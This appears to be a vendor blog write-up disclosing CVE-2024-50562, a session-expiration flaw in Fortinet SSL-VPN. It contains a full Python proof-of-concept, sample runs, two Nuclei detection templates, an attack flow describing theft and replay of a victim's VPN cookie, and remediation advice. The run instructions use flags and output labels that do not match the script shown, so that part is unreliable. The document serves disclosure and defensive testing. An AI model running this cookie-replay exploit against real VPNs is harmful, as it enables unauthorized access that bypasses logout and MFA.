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Breaking Sessions: The Story of CVE-2024-50562 in Fortinet Web Client

Explore how an AI-driven red team assessment led to the discovery of CVE-2024-50562—a critical session management flaw in Fortinet's Web Client that enabled persistent session hijacking.

Summary

An Insufficient Session Expiration vulnerability \[CWE-613] in FortiOS SSL-VPN lets an attacker replay a stale VPN cookie—even after the user logs out—and silently regain portal access.

Affected Versions & Solutions

Version FamilyAffected BuildsFixed Release
FortiOS 7.67.6.07.6.1 or later
FortiOS 7.47.4.0 – 7.4.77.4.8 +
FortiOS 7.27.2.0 – 7.2.107.2.11 +
FortiOS 7.0all 7.0.xMigrate to a fixed branch
FortiOS 6.4all 6.4.xMigrate to a fixed branch
FortiSASE 24.424.4.b24.4.c (already remediated)

Note : Tunnel-mode VPN is not affected.

What Is CVE-2024-50562?

CVE-2024-50562 (Fortinet advisory FG-IR-24-339) is a session-management flaw. The server deletes the primary SVPNCOOKIE token on logout but forgets about the auxiliary SVPNTMPCOOKIE, which still authenticates the user.

  • CVSS v3: 4.8 (Medium)
  • CWE: 613 Insufficient Session Expiration
  • Impact: Improper access control

Discovery Context

During an AI-assisted red-team engagement, our Cert-X-Gen agent automatically:

  1. Logged in/out of the SSL-VPN portal in rapid loops
  2. Diffed cookie sets before and after logout
  3. Replayed residual cookies
  4. Flagged any state mismatch as a potential vulnerability

The agent noticed SVPNTMPCOOKIE remained valid, triggering deeper manual analysis.

Attack Flow

  1. Sniff or steal a victim's VPN cookie (proxy logs, XSS, MitM, etc.)
  2. Wait for the user to log out (or force a logout)
  3. Replay the stale SVPNTMPCOOKIE in a fresh session
  4. Access restored—no credentials, MFA, or warnings

Python Proof-of-Concept

We released a minimal PoC (cve-2024-50562.py) so defenders can validate their appliances.

python
#!/usr/bin/env python3
"""
# Exploit Title: Fortinet SSL-VPN Session Management Bypass
# Date: 2025-06-15
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
# Tested on: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.8 (Medium)
# Category: Session Management
# CWE: CWE-613 (Insufficient Session Expiration)

Description:
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker 
to reuse stale session cookies after logout, potentially leading to unauthorized access.
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.

References:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562

Usage:
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]

Example:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""

import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse

# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortinetExploit:
    def __init__(self, target, username, password, realm="", timeout=10, force=False):
        self.target = target
        self.username = username
        self.password = password
        self.realm = realm
        self.timeout = timeout
        self.force = force
        self.base_url = f"https://{target}"
        self.session = None
        
    def banner(self):
        """Display exploit banner"""
        print("=" * 70)
        print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
        print("Author: Shahid Parvez Hakim (BugB Technologies)")
        print("CVSS: 4.8 (Medium) | FG-IR-24-339")
        print("=" * 70)
        print(f"Target: {self.target}")
        print(f"User: {self.username}")
        print("-" * 70)

    def validate_target(self):
        """Check if target is reachable and is Fortinet SSL-VPN"""
        try:
            print("[*] Validating target...")
            response = requests.get(f"{self.base_url}/remote/login", 
                                  verify=False, timeout=self.timeout)
            
            # More flexible detection for Fortinet SSL-VPN
            fortinet_indicators = [
                "fortinet", "fortigate", "forticlient",
                "sslvpn", "/remote/login", "SVPNCOOKIE",
                "logincheck", "hostcheck_install",
                "fgt_lang", "realm"
            ]
            
            response_text = response.text.lower()
            detected_indicators = [indicator for indicator in fortinet_indicators 
                                 if indicator in response_text]
            
            if detected_indicators:
                print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
                return True
            elif response.status_code == 200:
                print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
                return True
            else:
                print("[-] Target does not appear to be Fortinet SSL-VPN")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Connection failed: {e}")
            return False

    def attempt_login(self):
        """Attempt to authenticate with provided credentials"""
        try:
            print("[*] Attempting authentication...")
            
            self.session = requests.Session()
            self.session.verify = False
            
            # Get login page first
            self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
            
            # Attempt login
            login_data = {
                "ajax": "1",
                "username": self.username,
                "realm": self.realm,
                "credential": self.password
            }
            
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            
            response = self.session.post(f"{self.base_url}/remote/logincheck",
                                       data=login_data, headers=headers, 
                                       timeout=self.timeout)
            
            # Check if login was successful
            if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
                print("[+] Authentication successful!")
                
                # Extract and display cookies
                cookies = requests.utils.dict_from_cookiejar(response.cookies)
                self.display_cookies(cookies, "Login")
                
                return True, cookies
            else:
                print("[-] Authentication failed!")
                print(f"[!] Server response: {response.text[:100]}...")
                return False, {}
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Login request failed: {e}")
            return False, {}

    def perform_logout(self):
        """Perform logout and check cookie invalidation"""
        try:
            print("[*] Performing logout...")
            
            response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
            cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
            
            print("[+] Logout completed")
            self.display_cookies(cookies_after_logout, "Logout")
            
            return cookies_after_logout
            
        except requests.exceptions.RequestException as e:
            print(f"[-] Logout request failed: {e}")
            return {}

    def test_session_reuse(self, original_cookies):
        """Test if old session cookies still work after logout"""
        try:
            print("[*] Testing session cookie reuse...")
            
            # Create new session to simulate attacker
            exploit_session = requests.Session()
            exploit_session.verify = False
            
            # Use original login cookies
            exploit_session.cookies.update(original_cookies)
            
            # Try to access protected resource
            test_url = f"{self.base_url}/sslvpn/portal.html"
            response = exploit_session.get(test_url, timeout=self.timeout)
            
            # Check if we're still authenticated
            if self.is_authenticated_response(response.text):
                print("[!] VULNERABILITY CONFIRMED!")
                print("[!] Session cookies remain valid after logout")
                print("[!] CVE-2024-50562 affects this system")
                return True
            else:
                print("[+] Session properly invalidated")
                print("[+] System appears to be patched")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Session reuse test failed: {e}")
            return False

    def is_authenticated_response(self, response_body):
        """Check if response indicates authenticated access"""
        # If response contains login form elements, user is not authenticated
        if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
            return False
        return True

    def display_cookies(self, cookies, context):
        """Display cookies in a formatted way"""
        if cookies:
            print(f"[*] Cookies after {context}:")
            for name, value in cookies.items():
                # Truncate long values for display
                display_value = value[:20] + "..." if len(value) > 20 else value
                print(f"    {name} = {display_value}")
                
                # Highlight important cookies for CVE
                if name == "SVPNTMPCOOKIE":
                    print(f"    [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
                elif name == "SVPNCOOKIE":
                    print(f"    [*] Found SVPNCOOKIE - Primary session cookie")
        else:
            print(f"[*] No cookies set after {context}")

    def exploit(self):
        """Main exploit routine"""
        self.banner()
        
        # Step 1: Validate target (unless forced to skip)
        if not self.force:
            if not self.validate_target():
                print("[!] Use --force to skip target validation and proceed anyway")
                return False
        else:
            print("[*] Skipping target validation (--force enabled)")
            
        # Step 2: Attempt login
        login_success, login_cookies = self.attempt_login()
        if not login_success:
            return False
            
        # Step 3: Perform logout
        logout_cookies = self.perform_logout()
        
        # Step 4: Test session reuse
        vulnerable = self.test_session_reuse(login_cookies)
        
        # Step 5: Display results
        print("\n" + "=" * 70)
        print("EXPLOIT RESULTS")
        print("=" * 70)
        
        if vulnerable:
            print("STATUS: VULNERABLE")
            print("CVE-2024-50562: CONFIRMED")
            print("SEVERITY: Medium (CVSS 4.8)")
            print("\nRECOMMENDATIONS:")
            print("- Upgrade to patched FortiOS version")
            print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
            print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
            print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
            print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
        else:
            print("STATUS: NOT VULNERABLE")
            print("CVE-2024-50562: NOT AFFECTED")
            print("\nSystem appears to be patched or not vulnerable")
            
        return vulnerable

def parse_target(target_string):
    """Parse target string and extract host:port"""
    if ':' not in target_string:
        # Default HTTPS port if not specified
        return f"{target_string}:443"
    return target_string

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
  python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
  python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                        help='Target IP:PORT (e.g., 192.168.1.10:443)')
    parser.add_argument('-u', '--username', required=True,
                        help='Username for authentication')
    parser.add_argument('-p', '--password', required=True,
                        help='Password for authentication')
    parser.add_argument('--realm', default='',
                        help='Authentication realm (optional)')
    parser.add_argument('--timeout', type=int, default=10,
                        help='Request timeout in seconds (default: 10)')
    parser.add_argument('--force', action='store_true',
                        help='Skip target validation and proceed anyway')
    
    args = parser.parse_args()
    
    # Parse and validate target
    target = parse_target(args.target)
    
    try:
        # Initialize and run exploit
        exploit = FortinetExploit(target, args.username, args.password, 
                                args.realm, args.timeout, args.force)
        vulnerable = exploit.exploit()
        
        # Exit with appropriate code
        sys.exit(0 if vulnerable else 1)
        
    except KeyboardInterrupt:
        print("\n[!] Exploit interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Unexpected error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()%                                                                                                                                                                  

How to Run & Interpret

bash
pip install requests
python3 cve-2024-50562.py \
    --targets 203.0.113.23:4433 \
    --user vpn_test --password 'P@55w0rd!'
OutputMeaning
REUSEDDevice vulnerable – cookie still works
INVALIDATEDDevice patched – old cookie rejected
LOGIN-FAILCredentials invalid or VPN requires MFA

Pro tip: test multiple interfaces (e.g., :443, :4433, :10443). Some admins patch one portal but miss others.

Expected Results

Vulnerable System (CVE-2024-50562 Present)

bash
$ python3 cve-2024-50562.py -t 192.168.1.10:4433 -u testuser -p testpass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.8 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.10:4433
User: testuser
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: sslvpn, logincheck, realm)
[*] Attempting authentication...
[+] Authentication successful!
[*] Cookies after Login:
    SVPNTMPCOOKIE = QiQb9H5cJlEusVlV2TdU...
    [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562
[*] Performing logout...
[+] Logout completed
[*] No cookies set after Logout
[*] Testing session cookie reuse...
[!] VULNERABILITY CONFIRMED!
[!] Session cookies remain valid after logout
[!] CVE-2024-50562 affects this system

======================================================================
EXPLOIT RESULTS
======================================================================
STATUS: VULNERABLE
CVE-2024-50562: CONFIRMED
SEVERITY: Medium (CVSS 4.8)

RECOMMENDATIONS:
- Upgrade to patched FortiOS version
- FortiOS 7.6.x: Upgrade to 7.6.1+
- FortiOS 7.4.x: Upgrade to 7.4.8+
- FortiOS 7.2.x: Upgrade to 7.2.11+
- FortiOS 7.0.x/6.4.x: Migrate to supported version

Patched System (Not Vulnerable)

bash
$ python3 cve-2024-50562.py -t 192.168.1.20:443 -u admin -p securepass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.8 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.20:443
User: admin
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: fortinet, sslvpn, logincheck)
[*] Attempting authentication...
[+] Authentication successful!
[*] Cookies after Login:
    SVPNCOOKIE = aBc123XyZ789...
    SVPNTMPCOOKIE = QiQb9H5cJlEusVlV2TdU...
    [*] Found SVPNCOOKIE - Primary session cookie
    [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562
[*] Performing logout...
[+] Logout completed
[*] Cookies after Logout:
    SVPNCOOKIE = 
    SVPNTMPCOOKIE = 
[*] Testing session cookie reuse...
[+] Session properly invalidated
[+] System appears to be patched

======================================================================
EXPLOIT RESULTS
======================================================================
STATUS: NOT VULNERABLE
CVE-2024-50562: NOT AFFECTED

System appears to be patched or not vulnerable

Authentication Failed

bash
$ python3 cve-2024-50562.py -t 192.168.1.30:443 -u wronguser -p wrongpass
======================================================================
CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
Author: Shahid Parvez Hakim (BugB Technologies)
CVSS: 4.8 (Medium) | FG-IR-24-339
======================================================================
Target: 192.168.1.30:443
User: wronguser
----------------------------------------------------------------------
[*] Validating target...
[+] Target confirmed as Fortinet SSL-VPN (indicators: fortigate, realm, logincheck)
[*] Attempting authentication...
[-] Authentication failed!
[!] Server response: ret=0,redir=/remote/login?&err=sslvpn_login_permission_denied&lang=en...

Key Indicators to Look For:

Vulnerable System Signs:

  • VULNERABILITY CONFIRMED! message
  • Session cookies remain valid after logout
  • STATUS: VULNERABLE in final results
  • CVE-2024-50562: CONFIRMED

Secure System Signs:

  • Session properly invalidated message
  • System appears to be patched
  • STATUS: NOT VULNERABLE in final results
  • Cookies are properly cleared after logout

Common Issues:

  • Authentication failures usually indicate wrong credentials or MFA requirements
  • Connection timeouts may indicate network issues or non-standard ports
  • Use --force flag if target validation fails but you know it's a Fortinet device

YAML Detection Template

yaml
id: cve-2024-50562

info:
  name: CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass
  author: BugB Security Team
  severity: medium
  description: |
    Fortinet SSL-VPN suffers from insufficient session expiration vulnerability.
    The SVPNTMPCOOKIE remains valid after logout, allowing session hijacking.
    This template tests the complete exploit chain: login -> logout -> session reuse.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-50562
    cwe-id: CWE-613
  metadata:
    max-request: 4
  tags: fortinet,sslvpn,session-hijack,authentication-bypass,cve2024
  reference:
    - https://fortiguard.com/psirt/FG-IR-24-339
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50562

variables:
  username: "{{username}}"
  password: "{{password}}"
  realm: ""

http:
  # Step 1: Initial connection to login portal
  - method: GET
    path:
      - "{{BaseURL}}/remote/login?lang=en"
    
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "fortinet") || contains(tolower(body), "fortigate") || contains(tolower(body), "sslvpn") || contains(body, "/remote/logincheck")'
        condition: and

  # Step 2: Perform authentication and capture session cookies
  - method: POST
    path:
      - "{{BaseURL}}/remote/logincheck"
    
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    
    body: |
      ajax=1&username={{username}}&realm={{realm}}&credential={{password}}
    
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ret=1")'
          - 'contains(body, "hostcheck_install")'
        condition: and
    
    extractors:
      - type: regex
        name: svpncookie
        part: header
        regex:
          - 'SVPNCOOKIE=([^;]+)'
        internal: true
      
      - type: regex
        name: svpntmpcookie
        part: header
        regex:
          - 'SVPNTMPCOOKIE=([^;]+)'
        internal: true

  # Step 3: Perform logout (this should invalidate sessions)
  - method: GET
    path:
      - "{{BaseURL}}/remote/logout"
    
    headers:
      Cookie: "SVPNCOOKIE={{svpncookie}}; SVPNTMPCOOKIE={{svpntmpcookie}}"
    
    matchers:
      - type: status
        status:
          - 200

  # Step 4: Test session reuse with old SVPNTMPCOOKIE (the vulnerability)
  - method: GET
    path:
      - "{{BaseURL}}/sslvpn/portal.html"
    
    headers:
      Cookie: "SVPNTMPCOOKIE={{svpntmpcookie}}"
    
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      
      # If we don't see login form elements, session is still active = VULNERABLE
      - type: dsl
        dsl:
          - '!contains(tolower(body), "/remote/login")'
          - '!contains(tolower(body), "name=\"username\"")'
          - '!contains(tolower(body), "name=''username''")'
          - '!contains(tolower(body), "logincheck")'
        condition: and
        
    extractors:
      - type: dsl
        dsl:
          - '"CVE-2024-50562: VULNERABLE - Session reuse successful after logout"'

---
# Alternative template with raw requests for better control
id: cve-2024-50562-raw

info:
  name: CVE-2024-50562 - Fortinet SSL-VPN Session Reuse (Raw)
  author: BugB Security Team
  severity: medium
  description: |
    Tests CVE-2024-50562 using raw HTTP requests for precise control.
    Follows the exact exploit chain: login -> capture cookies -> logout -> reuse cookie.
  classification:
    cve-id: CVE-2024-50562
    cwe-id: CWE-613
  metadata:
    max-request: 4
  tags: fortinet,sslvpn,session-reuse,cve2024

variables:
  test_user: "{{username}}"
  test_pass: "{{password}}"
  test_realm: ""

http:
  - raw:
      # Step 1: Get login page
      - |
        GET /remote/login?lang=en HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (compatible; Nuclei)
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Connection: close

      # Step 2: Perform login and capture cookies
      - |
        POST /remote/logincheck HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (compatible; Nuclei)
        Content-Type: application/x-www-form-urlencoded
        Content-Length: {{len(body)}}
        Connection: close

        ajax=1&username={{test_user}}&realm={{test_realm}}&credential={{test_pass}}

      # Step 3: Logout with valid session
      - |
        GET /remote/logout HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (compatible; Nuclei)
        Cookie: SVPNCOOKIE={{svpncookie}}; SVPNTMPCOOKIE={{svpntmpcookie}}
        Connection: close

      # Step 4: Test session reuse with SVPNTMPCOOKIE only
      - |
        GET /sslvpn/portal.html HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (compatible; Nuclei)
        Cookie: SVPNTMPCOOKIE={{svpntmpcookie}}
        Connection: close

    cookie-reuse: true
    
    extractors:
      - type: regex
        name: svpncookie
        part: header
        regex:
          - 'SVPNCOOKIE=([^;]+)'
        internal: true
      
      - type: regex
        name: svpntmpcookie
        part: header
        regex:
          - 'SVPNTMPCOOKIE=([^;]+)'
        internal: true

    matchers-condition: and
    matchers:
      # Verify login was successful
      - type: dsl
        dsl:
          - 'contains(body_2, "ret=1")'
          - 'contains(body_2, "hostcheck_install")'
        condition: and
        
      # Verify session reuse worked (vulnerability confirmed)
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - '!contains(tolower(body_4), "/remote/login")'
          - '!contains(tolower(body_4), "username")'
          - '!contains(tolower(body_4), "password")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"CVE-2024-50562 CONFIRMED: SVPNTMPCOOKIE reuse successful"'

Role of Cert-X-Gen

Our AI agent combines:

  • Behavioral Fingerprinting of Fortinet portals
  • Automated Login/Logout Workflows
  • Cookie Replay Testing
  • State-Inconsistency Flagging

It simulates real-world attacker behavior—intelligent adversarial testing, not just passive scanning.

Timeline

  • November 2024: Discovery during BugB's client engagement
  • December 2024: PoC developed and responsibly disclosed to Fortinet PSIRT
  • January 2025: Fortinet assigns CVE-2024-50562 and prepares advisory
  • June 10, 2025: PSIRT advisory published (initial publication)

Acknowledgements

Fortinet thanks Shahid Parvez Hakim, CEO & Founder of BugB Technologies (bugb.io), for responsible disclosure and collaboration.

  • Upgrade to fixed releases per the table above (use Fortinet Upgrade Tool)
  • Invalidate all session tokens immediately upon logout or expiration
  • Implement Strict Expiry Checks server-side on every request
  • Rotate tokens on each login and critical actions
  • Monitor & Alert on any replayed or reused tokens via anomaly detection

CVE-2024-50562 reminds us: session management is your frontline. With AI-led adversarial testing from Cert-X-Gen, you get proactive defense—patch today before an attacker tests your sessions for you.

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